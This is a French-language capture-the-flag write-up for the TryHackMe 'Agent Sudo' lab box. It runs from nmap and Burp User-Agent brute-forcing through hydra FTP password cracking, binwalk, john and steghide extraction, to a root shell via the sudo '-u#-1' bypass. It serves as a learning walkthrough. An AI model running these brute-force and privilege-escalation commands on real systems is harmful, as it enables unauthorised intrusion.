> For the complete documentation index, see [llms.txt](https://olb.gitbook.io/thm-ctf-write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://olb.gitbook.io/thm-ctf-write-ups/agent-sudo.md). # Agent Sudo {% embed url="" %} Site Gitbook : ## Reconnaissance {% code title="création répertoire de travail" %} ``` mkdir agentsudo && cd agentsudo ``` {% endcode %} {% code title="IP de la cible" %} ``` export IP=10.10.142.227 ``` {% endcode %} ``` nmap -sC -sV -oN nmap-report.txt $IP ```
* un serveur FTP (21) * un serveur openssh (22) * un site web (80) sous Apache ### Exploration du site Web
* le **user-agent** permet d'accéder au site * le user-agent doit contenir le 'codename' * **Agent R : '**R' est un codename ? => à tester ! * code source de la page : RAS #### Directory Brute-force {% code overflow="wrap" %} ``` gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt ``` {% endcode %} * le Directory BruteForce ne donne rien d'intéressant ... ### Burpsuite * Utilisons Burpsuite pour changer le user-agent * on intercepte dans le proxy * on envoie la requête dans le repeater * on teste dans le repeater cette histoire d'**agent R** à la place du user-agent habituel...
* On tombe sur **la même page** mais cette fois on nous informe qu'il y a **25 employés** (agents ?) * pas d'info dans le code source * Testons d'autres user-agent en supposant que ce sont des lettres de l'Alphabet (25 + agent R = 26 Agents?) * on envoie la requête dans l'intruder pour brute-forcer le user-agent
on se fait un payload rapidement comme ceci: ``` echo {A..Z} | tr " " "\n" > alphabet.txt ``` et on le charge dans Burp puis `start attack`
On note une redirection 302 pour le `user-agent C`
:warning: Il y a une info à savoir : **Burp ne suit pas les redirections par défaut** !\ il va donc falloir rejouer la requête dans le repeater mais en autorisant la redirection 302 cette fois...
renvoyer la requête avec le `user-agent C` et cliquer sur le bouton `Follow redirection` qui apparaît.\ NB: on peut aussi modifier ce comportement dans les settings du repeater
Finalement, on est redirigé vers la page `/agent_C_attention.php` qui nous donne des infos:
* l'agent C = **chris** ? * le mot de passe de l'agent C est faible * on a un user + un mdp facile à trouver => **Brute force !** ## **Exploitation** ### **Brute Force du FTP** * moins de risque de Fail2ban avec le FTP on commence par là ``` hydra -l chris -P /usr/share/wordlists/rockyou.txt $IP ftp ```
* le mdp de chris est **`crystal`** * on se connecte avec **chris/crystal** ``` ftp -A chris@$IP ```
{% code title="on récupère tous les fichier" %} ``` mget * ``` {% endcode %}
### Exploitation des Fichiers * `cat To_agentJ.txt`
* l'`Agent J` a une véritable photo dans son répertoire perso * le **login/mdp** de l'`agent J`est a l'intérieur d'une fausse photo * `binwalk cute-alien.jpg` : c'est bien une photo visiblement * `binwalk cutie.png :` il y a un Zip caché dans l'image qui contient un fichier `To_agentR.txt`
{% code title="extraction du zip" %} ``` binwalk -e cutie.png ``` {% endcode %}
``` cd _cutie.png.extracted && ls ```
on a bien récupéré un fichier zip : `8702.zip` {% code title="7zip car unzip échoue" %} ``` 7z e 8702.zip ``` {% endcode %}
* dezippage impossible car le zip est protégé par mot de passe ``` zip2john 8702.zip > 8702.hash ``` ``` john --wordlist=/usr/share/wordlists/rockyou.txt 8702.hash ```
* le mdp du zip est `alien` donc on dezip avec 7z à nouveau et on peut enfin lire le message `To_agentR.txt`
* on a un code `QXJlYTUx` qui pourrait être un mot de passe ? * on a une photo cute-alien.jpg qu'on a pas encore utilisé/exploité * on sait qu'une photo contient le login/mdp de l'agent J => cute-alien.jpg ? On regarde de plus près `cute-alien.jpg`
* visuellement : RAS * `exiftool cute-alien.jpg` : RAS ``` steghide info cute-alien.jpg ```
* c'est louche il demande une passphrase ! Essayons d'extraire avec `steghide extract` ``` steghide extract -sf cute-alien.jpg ``` * Il faut une bien une passphrase * une passphrase vide ne fonctionne pas * la passphrase `QXJlYTUx` ne fonctionne pas non plus ... bloqué :( * je tente 'hash-identifier' sur la chaîne mais il ne connaît pas ce hash... * qu'en dit ChatGPT ?
Pour info pour décoder "soi-même": ``` echo 'QXJlYTUx' | base64 -d ``` \ on retente steghide avec ce mdp 'Area51' ``` steghide extract -sf cute-alien.jpg ``` Et voila ! on obtient un fichier `message.txt`
``` cat message.txt ```
* l'agent J s'appelle **`james`** * son mdp est **`hackerrules!`** ### **Exploitation SSH** ``` ssh james@$IP ```
on se connecte avec le mdp trouvé précédemment
* on récupère le flag de james * on récupère via scp la 'vraie' photo de l'alien `Alien_autospy.jpg` * il y a une recherche Google a faire sur cette photo via Google Image +source Foxnews pour trouver le terme!: `"Roswell alien autopsy"` ## Escalade des privilèges ``` sudo -l ```
En cherchant sur Google la permission ```py (ALL, !root) /bin/bash ``` on tombe sur cet exploit\ et on comprends en le lisant qu'on va pouvoir exécuter bash en root en contournant la règle en place avec ce simple code ``` sudo -u#-1 /bin/bash ```
et voilà :v: